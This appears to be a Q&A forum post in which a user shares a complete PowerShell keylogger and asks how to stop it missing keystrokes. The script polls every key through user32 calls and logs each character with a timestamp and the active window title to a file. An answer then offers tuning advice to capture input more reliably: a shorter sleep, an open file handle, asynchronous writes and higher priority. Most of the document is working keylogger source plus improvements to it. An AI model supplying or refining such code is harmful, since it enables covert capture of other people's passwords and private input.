Powershell GetKeystate with outfile I got a keylogger Powershell script to protocol my input, since I'm quite paranoid if someone uses my PC.

However, some letters (I have an anti-ghosting keyboard) are swallowed if I type them in fast. Does anyone see a bottleneck here? I believe it's either the fact that:


it can't recognize keys pressed at the same time, or
The Out-File causes the bottleneck so it doesnt write fast enough.


My question is, how I improve it to capture ALL key inputs?

function KeyLog {

    $MAPVK_VK_TO_VSC = 0x00

    $MAPVK_VSC_TO_VK = 0x01


    $MAPVK_VK_TO_CHAR = 0x02

    $MAPVK_VSC_TO_VK_EX = 0x03


    $MAPVK_VK_TO_VSC_EX = 0x04

    $virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

    $kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

    $mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

    $tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
    $foreground_sig=@'
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
'@


    $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
    $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
    $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
    $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
    $getForeground = Add-Type -MemberDefinition $foreground_sig -name "Win32MyForeground" -namespace Win32Functions -passThru
    while ($true) {
        Start-Sleep -Milliseconds 40
        $gotit = ""

        for ($char = 1; $char -le 254; $char++) {
            $vkey = $char
            $gotit = $getKeyState::GetAsyncKeyState($vkey)

            if ($gotit -eq -32767) {

                $l_shift = $getKeyState::GetAsyncKeyState(160)
                $r_shift = $getKeyState::GetAsyncKeyState(161)
                $caps_lock = [console]::CapsLock

                $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $getKBState::GetKeyboardState($kbstate)

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                if ($unicode_res -gt 0) {
                try {            
                $ActiveHandle = $getForeground::GetForegroundWindow()            
                $Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}  

                $Process | Select ProcessName, @{Name="AppTitle";Expression= {($_.MainWindowTitle)}}  

                $title = $Process.MainWindowTitle
                $logfile = "key.log"
                    $timestamp = (Get-Date -format MM/dd/yy` hh:mm:ss)

                    Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject "$timestamp | $title | $mychar "
                } catch {            
                 Write-Error "Failed to get active Window details. More Info: $_"            
                } 

                }
            }
        }
    }
}

KeyLog
Some thougts:


above all, using a user-level code pulling keyboard state periodically is much less reliable then kernel-level driver which OS pushes key events to
40 milliseconds sleep is much too high
if you could open the file handle once instead of each time a key is pressed, you'd get a significant performance boost, at the cost of taking care to close file after the script stops
if you could do file writing asynchronously (e.g. in a dedicated thread or leveraging an async API), this would reduce the risk of missing a key press because of I/O blocking
using a sound timer API allows resolution much better than what is achievable with thread sleeps
maybe it's worth increasing priority of the keylogger process, to reduce the risk of missing key due to thread context switch


(thanks Sam for your corrections)